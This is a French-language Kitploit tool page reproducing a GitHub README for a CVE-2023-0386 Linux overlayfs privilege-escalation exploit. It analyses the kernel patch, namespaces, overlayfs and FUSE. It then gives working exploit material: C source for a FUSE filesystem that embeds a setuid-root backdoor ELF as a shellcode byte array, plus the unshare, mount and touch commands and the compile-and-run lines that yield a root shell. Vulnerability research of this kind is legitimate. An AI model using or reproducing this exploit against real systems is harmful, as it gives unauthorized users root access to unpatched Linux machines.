Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-0386 — Exploit d'escalade de privilèges local pour CVE-2023-0386 ciblant le noyau Linux overlayfs. Comprend une analyse détaillée de la vulnérabilité, le code PoC, et un guide d'exploitation pas à pas utilisant FUSE et les espaces de noms utilisateur. | Kitploit
Outils/GitHubGitHub/chenaotian/cve-2023-0386
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationFuzzingApprentissage et ÉducationExploitation de Binaires
GitHubchenaotian/cve-2023-0386

CVE-2023-0386

Exploit d'escalade de privilèges local pour CVE-2023-0386 ciblant le noyau Linux overlayfs. Comprend une analyse détaillée de la vulnérabilité, le code PoC, et un guide d'exploitation pas à pas utilisant FUSE et les espaces de noms utilisateur.

Voir le dépôt
124211il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

README

root@kitploit:~
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

image-20230421161145840

Analyse de la vulnérabilité

Les connaissances théoriques de cet article (espaces de noms, système de fichiers overlay, système de fichiers FUSE, etc.) proviennent toutes de ChatGPT.

Présentation de la vulnérabilité

Identifiant CVE : CVE-2023-0386

Produit vulnérable : noyau Linux – système de fichiers overlay

Plage de versions affectées : 5.11 ~ 5.19

Condition d’exploitation : pouvoir utiliser unshare ou créer un système de fichiers overlay

Effet de l’exploitation : élévation de privilèges locale

Mise en place de l’environnement

Compiler le noyau soi-même :

Préparer une version dans la plage vulnérable, en dehors de la 5.15 (la 5.15 semble problématique), activer les deux FS overlay et FUSE :

root@kitploit:~
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS

Ubuntu 21.10, version du noyau 5.13.0-16-generic, testé avec succès :

image-20230421161145840

Principe de la vulnérabilité

Avant d’analyser la vulnérabilité, laissons ChatGPT jouer le rôle d’un expert du noyau Linux :

(Question à ChatGPT : À partir de maintenant, joue le rôle d’un expert du noyau Linux pour m’aider à répondre à quelques questions.)

Analyse du correctif

Les informations publiques sur la vulnérabilité sont rares ; le correctif est le plus direct. Le lien du correctif est le suivant :

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

image-20230503165509094

On voit qu’une vérification a été ajoutée dans la fonction ovl_copy_up_one. Demandons d’abord à ChatGPT ce que fait cette fonction :

image-20230503214724428

Cette fonction intervient donc lors de la copie d’un fichier de la couche inférieure vers la couche supérieure du système de fichiers overlay. Examinons maintenant la nouvelle vérification ajoutée par le correctif dans son contexte :

root@kitploit:~
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
			   int flags)
{
	int err;
	DEFINE_DELAYED_CALL(done);
	struct path parentpath;
	struct ovl_copy_up_ctx ctx = {
		.parent = parent,
		.dentry = dentry,
		.workdir = ovl_workdir(dentry),
	};

	if (WARN_ON(!ctx.workdir))
		return -EROFS;

	ovl_path_lower(dentry, &ctx.lowerpath);
	err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] Récupère le stat du système de fichiers inférieur
			  STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
	if (err)
		return err;
	//[2] Nouvelle vérification du correctif : l'UID et le GID du fichier ont-ils une correspondance dans l'espace de noms actuel ?
	if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
	    !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
		return -EOVERFLOW;

[1] Tout d’abord, la fonction vfs_getattr récupère les attributs du fichier cible du système de fichiers inférieur. vfs_getattr reçoit une structure struct path d’un fichier et renvoie la structure struct stat correspondante.

[1.1] ctx.lowerpath est le chemin d’un fichier du système de fichiers inférieur du système de fichiers overlay. Le système de fichiers overlay sera présenté plus loin.

[1.2] La structure struct stat contient les métadonnées du fichier, notamment le propriétaire et le groupe. Les informations de propriétaire obtenues sont ensuite vérifiées par la nouvelle condition du correctif.

[2] Ensuite, la fonction kuid_has_mapping est appelée pour vérifier le propriétaire et le groupe du fichier récupéré. Elle détermine si le propriétaire et le groupe du fichier cible ont une correspondance dans l’espace de noms utilisateur actuel.

[2.1] kuid_has_mapping prend deux paramètres : une structure struct user_namespace (espace de noms utilisateur) et une structure struct kuid (UID noyau). Cette fonction détermine si l’information utilisateur donnée a une correspondance dans l’espace de noms utilisateur donné. La correspondance des utilisateurs dans les espaces de noms sera détaillée plus loin.

Nous savons donc que lorsqu’on effectue l’opération de la fonction vulnérable (ovl_copy_up_one), si le propriétaire ou le groupe du fichier de la couche inférieure n’a pas de correspondance dans l’espace de noms actuel, l’opération échoue.

Le principe du correctif est donc clair. Cependant, il reste à résoudre les questions suivantes pour reproduire la vulnérabilité :

  1. Comment déclencher la logique de la fonction cible ovl_copy_up_one, c’est-à-dire la copie d’un fichier de la couche inférieure vers la couche supérieure dans le système de fichiers overlay ?
  2. Quel rôle joue le fichier lowerpath (dont le propriétaire est vérifié) dans la chaîne logique ?

Avant de répondre à ces deux questions, nous devons clarifier quelques notions de base :

Espaces de noms

(Question à ChatGPT : Présente les espaces de noms du noyau Linux.)

Dans Linux, les espaces de noms (namespaces) sont une fonctionnalité du noyau permettant l’isolation des ressources. Grâce aux espaces de noms, un ensemble de processus peut sembler fonctionner dans un environnement système indépendant, améliorant ainsi la sécurité et la gestion. Les espaces de noms jouent un rôle clé dans les technologies de conteneurs (comme Docker), permettant aux conteneurs de s’exécuter dans un environnement isolé sans affecter les autres conteneurs ou le système hôte.

Le noyau Linux prend en charge 7 types d’espaces de noms (mount, pid, net, ipc, user, time, cgroup), chacun isolant une catégorie spécifique de ressources système. Les espaces de noms sont créés, modifiés et gérés via des appels système comme clone, unshare et setns. Les exécutants de conteneurs (comme Docker) et autres outils de virtualisation utilisent ces espaces de noms pour fournir un environnement d’exécution indépendant et isolé.

Espace de noms utilisateur

La fonction de vérification ajoutée par le correctif (kuid_has_mapping) concerne l’un des 7 espaces de noms : l’espace de noms utilisateur.

(Question à ChatGPT : Présente l’espace de noms utilisateur.)

L’espace de noms utilisateur (User Namespace) permet d’isoler les identifiants utilisateur (UID) et groupe (GID). Grâce à l’espace de noms utilisateur, différents ensembles d’UID et GID peuvent être utilisés indépendamment. Ainsi, un utilisateur ou un groupe dans un espace de noms peut avoir un ID ou des permissions différents dans un autre espace de noms. L’espace de noms utilisateur améliore la sécurité et la gestion, en particulier dans les environnements conteneurisés.

La caractéristique clé de l’espace de noms utilisateur est le mappage d’ID : il permet de mapper des UID et GID d’un espace de noms vers un autre. Par exemple, l’utilisateur root (UID 0) dans un conteneur peut être mappé à un utilisateur non privilégié dans le système hôte.

Rappelons les points importants :

  • Le même utilisateur (groupe) a un UID (GID) différent dans différents espaces de noms utilisateur.
  • L’utilisateur qui crée un nouvel espace de noms utilisateur est root dans ce nouvel espace.
  • Les autres utilisateurs doivent être mappés manuellement dans le nouvel espace de noms (en modifiant /proc/[pid]/uid_map et /proc/[pid]/gid_map), cette opération nécessite généralement les privilèges root de l’espace de noms initial.
  • Les utilisateurs non mappés sont identifiés comme nobody.

Par exemple, je crée un nouvel espace de noms utilisateur avec l’utilisateur breeze, puis dans cet espace, je regarde un fichier appartenant à root : le propriétaire affiché est nobody :

image-20230503205416800

Cela est dû au fait que dans le nouvel espace de noms, root est l’utilisateur breeze qui a créé l’espace, et le root de l’espace initial n’a pas été mappé manuellement dans le nouvel espace. Il est donc reconnu comme nobody.

Nous comprenons maintenant la signification de ce correctif : pour un fichier du système de fichiers inférieur de l’overlay, son propriétaire (groupe) doit avoir une correspondance dans l’espace de noms actuel pour que la copie se poursuive ; sinon, une erreur est retournée. En d’autres termes, un fichier reconnu comme nobody ne peut pas être copié.

Système de fichiers overlay

Principe

(Question à ChatGPT : Présente le système de fichiers overlay dans Linux.)

Le système de fichiers Overlay (OverlayFS) est un système de fichiers virtuel du noyau Linux. Il permet de fusionner deux ou plusieurs hiérarchies de répertoires existantes (appelées couches « lower » et « upper ») en une vue unifiée. OverlayFS est très utile pour permettre des opérations d’écriture sur des systèmes de fichiers en lecture seule (comme des images), en redirigeant les écritures vers une couche superposable en écriture. Cette approche est largement utilisée dans les technologies de conteneurs (comme Docker), car elle offre une virtualisation légère et performante du système de fichiers.

  1. Couche Lower (inférieure) : C’est la couche de base, généralement en lecture seule. Un système de fichiers overlay peut avoir une ou plusieurs couches lower.
  2. Couche Upper (supérieure) : C’est une couche accessible en écriture. Elle stocke toutes les modifications apportées aux fichiers de la couche lower : modifications, créations, suppressions.
  3. Workdir : Un répertoire accessible en écriture, situé dans le même système de fichiers que la couche upper, utilisé pour stocker des données intermédiaires et des métadonnées nécessaires au fonctionnement de l’OverlayFS.
  4. Couche Merged (fusionnée) : C’est une vue virtuelle et synthétique qui fusionne les couches lower et upper. Lorsque l’utilisateur accède au système de fichiers overlay, il voit cette couche merged. Dans cette couche, les modifications de la couche upper écrasent les fichiers correspondants de la couche lower. Pour les fichiers de même nom, les fichiers de la couche upper ont priorité. Pour les répertoires de même nom, ils sont fusionnés ; seuls les fichiers dans les répertoires vérifient s’ils sont masqués ou écrasés entre les couches.

Le schéma suivant illustre la correspondance entre les fichiers réels des couches inférieure et supérieure et la vue fusionnée :

image-20230504100543888

Comme la couche supérieure est accessible en écriture, la modification d’un fichier provenant de la couche supérieure est directe. Mais si on modifie un fichier provenant de la couche inférieure (par exemple le fichier D dans le schéma), comme la couche inférieure est en lecture seule, le fichier D est d’abord copié (copy up) vers la couche supérieure en tant que fichier D’, puis modifié. En réalité, seul le fichier D’ copié est modifié, le fichier D original dans la couche inférieure reste inchangé. C’est le mécanisme COW (copy on write) du système overlay :

image-20230504103155100

Création d’un système de fichiers overlay

(Question à ChatGPT : Donne-moi un exemple pratique de création d’un simple système de fichiers overlay.)

Nous allons montrer comment créer un système de fichiers overlay de manière simple :

Tout d’abord, créons les répertoires lower1, lower2, upper et work. Ces répertoires serviront pour le système de fichiers overlay. Créons également un point de montage (par exemple merged) pour accéder à la vue fusionnée. Ajoutons du contenu dans les répertoires lower1 et lower2 :

root@kitploit:~
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt

Utilisons la commande mount avec l’option -t overlay pour monter le système de fichiers overlay. Spécifions les paramètres lowerdir, upperdir et workdir comme suit :

root@kitploit:~
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged

On peut voir dans le répertoire merged les fichiers provenant des couches inférieure et supérieure :

image-20230503213819903

Dans ce répertoire, que ce soit pour créer un nouveau fichier, supprimer ou modifier, seules les modifications dans la couche supérieure sont affectées, la couche inférieure reste intacte. Par exemple, la création d’un nouveau fichier (créé en réalité dans upper) :

image-20230503214009386

La modification d’un fichier existant (copie du fichier de lower1 vers upper puis modification) :

image-20230503214138872

En résumé, la logique liée à la vulnérabilité est : lorsque nous modifions un fichier provenant de la couche inférieure dans un système de fichiers overlay, ce fichier est d’abord copié vers la couche supérieure, puis la modification est effectuée.

Logique de déclenchement de la vulnérabilité

Après l’analyse ci-dessus, nous pouvons presque reconstituer le tableau complet de la vulnérabilité. Lorsqu’une opération de copy up se produit dans un système de fichiers overlay (tentative de modification d’un fichier de la couche inférieure, déclenchant la copie vers la couche supérieure) :

  • Logique du correctif : on ne peut pas copier un fichier dont le propriétaire (groupe) n’a pas de correspondance dans l’espace de noms utilisateur actuel.
  • Logique de la vulnérabilité : tous les fichiers peuvent être copiés normalement, y compris ceux dont le propriétaire n’a pas de correspondance.

La question est donc : pourquoi la copie de fichiers dont le propriétaire n’est pas mappé pose-t-elle problème ?

Exploitation de la vulnérabilité

La réponse à cette question est simple : copier un fichier ne consiste pas seulement à copier son contenu, mais aussi ses métadonnées : informations de propriétaire, horodatages, permissions, et informations étendues comme les capacités. Le risque est le suivant : si le système de fichiers inférieur est un système de fichiers utilisateur (comme FUSE), hautement contrôlable, on peut y définir n’importe quel fichier, mais ce système de fichiers a des limitations (comme nosuid). Cette vulnérabilité permet alors de copier un fichier suid défini par l’utilisateur depuis un système de fichiers nosuid vers un système de fichiers normal, ce qui permet au fichier suid illégitime d’acquérir le privilège suid, conduisant à une élévation de privilèges.

Système de fichiers FUSE

(Question à ChatGPT : Présente le système de fichiers FUSE.)

FUSE (Filesystem in Userspace) est une interface de système de fichiers qui permet aux utilisateurs d’implémenter et d’exécuter des systèmes de fichiers personnalisés dans l’espace utilisateur (plutôt que dans le noyau). FUSE vise à simplifier le développement et le déploiement des systèmes de fichiers tout en offrant de bonnes performances et une bonne sécurité. FUSE est largement utilisé sous Linux et d’autres systèmes de type Unix (comme macOS et FreeBSD).

En termes simples, FUSE permet de définir nous-mêmes, dans l’espace utilisateur, certaines fonctions de rappel (callbacks) du système de fichiers (comme open, write, readdir, ou même getattr pour les métadonnées).

Le code suivant d’un système de fichiers FUSE (généré par ChatGPT) peut servir d’exemple d’apprentissage et être utilisé pour l’exploitation :

(Question à ChatGPT : Donne-moi un exemple simple de code d’un système de fichiers FUSE. Ce système de fichiers contient un fichier hello dont le contenu est la chaîne "helloworld" et ce fichier est un fichier setuid appartenant à root.)

Après une légère modification (contenu du fichier remplacé par des données binaires de porte dérobée, ajustement des permissions du fichier, taille, etc.) :

root@kitploit:~
#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello"; // Chemin du fichier hello dans le système de fichiers FUSE
const char hello_str[] = { // Contenu binaire du fichier suid (porte dérobée) du système de fichiers FUSE
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf) // Fonction de rappel getattr pour obtenir les attributs du fichier ou répertoire
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) { // Permissions du répertoire racine du système de fichiers FUSE : 0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) { // Permissions du fichier hello : 777 avec SUID
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); // Taille réelle du fichier hello
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi) // Fonction d’affichage du répertoire
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) { // Seul le répertoire racine du FUSE peut être affiché pour l’instant
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0); // Affichage de . et .. par défaut
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0); // Le répertoire racine contient un fichier hello

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi) // Fonction de rappel open pour ouvrir un fichier
{
    if (strcmp(path, hello_path) != 0) { // Seul le fichier hello peut être ouvert
        return -ENOENT;
    }

    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi) // Fonction de rappel read pour lire un fichier
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) { // Seul le fichier hello peut être lu
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size); // Retourne le contenu du fichier hello (tableau binaire ci-dessus)
    } else {
        size = 0;
    }

    return size;
}

static struct fuse_operations hellofs_oper = { // Seules les quatre fonctions de rappel ci-dessus sont nécessaires
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL); // Enregistrement des fonctions de rappel
}

Ce code crée un système de fichiers FUSE contenant un seul fichier hello, dont le contenu est un programme binaire de porte dérobée, et dont les permissions sont setuid appartenant à root. Seules quatre fonctions de rappel sont implémentées, suffisantes pour les opérations de base : afficher, ouvrir et lire le fichier hello. On peut compiler et monter le système de fichiers FUSE avec les commandes suivantes :

root@kitploit:~
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs

Ensuite, on voit dans le répertoire fusefs notre fichier hello, un fichier suid appartenant à root :

image-20230504144546539

Cependant, un utilisateur normal ne peut pas monter un système de fichiers FUSE avec l’option suid ; autrement dit, les systèmes de fichiers FUSE montés par un utilisateur normal sont toujours nosuid. Même si on exécute ce fichier suid de porte dérobée, on n’obtient pas les droits root :

image-20230504144846572

Exploitation de la vulnérabilité

Nous allons maintenant utiliser la vulnérabilité CVE-2023-0386 avec le système de fichiers FUSE ci-dessus pour effectuer l’élévation de privilèges.

  1. Tout d’abord, nous devons construire un système de fichiers overlay correspondant au scénario de vulnérabilité. Utiliser le système de fichiers FUSE comme couche inférieure, et un répertoire accessible en écriture comme couche supérieure. Créer les répertoires nécessaires pour l’overlay (workdir, etc.) et monter le système de fichiers FUSE.

    root@kitploit:~
    mkdir hello_mount_point  overlay_mount_point  upperdir  workdir # Création des répertoires
    ./hellofs hello_mount_point                                     # Montage du système de fichiers FUSE
    

    image-20230504153904268

  2. Ensuite, créer un nouvel espace de noms utilisateur, un espace de noms mount et un espace de noms pid. Nous devons créer un système de fichiers overlay, et par défaut nous n’avons pas les droits de montage, il faut les obtenir dans le nouvel espace de noms.

    root@kitploit:~
    unshare -Urm
    

    image-20230504153934490

  3. Créer le système de fichiers overlay. Utiliser le système de fichiers FUSE (contenant le fichier suid hello) comme couche inférieure, et la couche supérieure est notre répertoire upper accessible en écriture :

    root@kitploit:~
    mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point
    

    image-20230504154022811

    L’effet actuel de l’overlay est illustré ci-dessous :

    image-20230504114747720

Maintenant, notre objectif est d’utiliser la vulnérabilité pour copier le fichier suid de porte dérobée depuis le système de fichiers FUSE monté avec nosuid vers le système de fichiers upper, qui est le système de fichiers par défaut du système d’exploitation et supporte suid. Cette opération copiera le fichier de porte dérobée avec son attribut suid. Nous devons donc déclencher l’opération de copy up du système overlay. Cette opération se produit généralement lorsqu’on essaie de modifier un fichier de la couche inférieure. C’est pourquoi nous avons défini les permissions du fichier hello à 777 dans le système de fichiers FUSE.

Astuce sur la commande touch

Modifier un fichier ne signifie pas seulement modifier son contenu. Modifier d’autres attributs, comme les horodatages (timestamps), déclenche également une opération de copy up. La commande touch, lorsqu’elle est utilisée sur un fichier existant, ne l’écrase pas mais modifie seulement les horodatages d’accès et de modification. Ces informations d’horodatage font partie des attributs étendus du fichier, et leur modification déclenche aussi la copie vers le haut dans le système overlay.

La pile d’appels est la suivante : la modification des horodatages d’accès et de modification déclenche ovl_setattr, qui provoque le copy up :

image-20230428112854184

  1. Revenons aux étapes ci-dessus. Il suffit d’entrer dans le répertoire merged de l’overlay et d’utiliser touch pour modifier l’horodatage du fichier de porte dérobée hello :

    root@kitploit:~
    touch overlay_mount_point/hello
    

    image-20230504154116918

    Le copy up a déjà été déclenché :

    image-20230504115008645

    Vérifions le répertoire upper, c’est-à-dire upperdir :

    root@kitploit:~
    ls -al upperdir
    

    image-20230504154216784

    Ensuite, quittez l’espace de noms et exécutez upperdir/hello pour obtenir un shell root :

    image-20230504154316023

Exploit

Voir exp.c.

Compilation et exécution :

root@kitploit:~
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

Résumé

Ce correctif empêche notre méthode d’élévation de privilèges : si l’utilisateur root de l’espace de noms initial n’a pas de correspondance dans le nouvel espace de noms utilisateur (et nous ne pouvons pas le mapper car cela nécessite des privilèges), l’opération échouera. En revanche, si cet utilisateur a déjà été mappé dans le nouvel espace de noms, il est considéré comme un scénario légitime.

Références

ChatGPT

Télécharger l’outil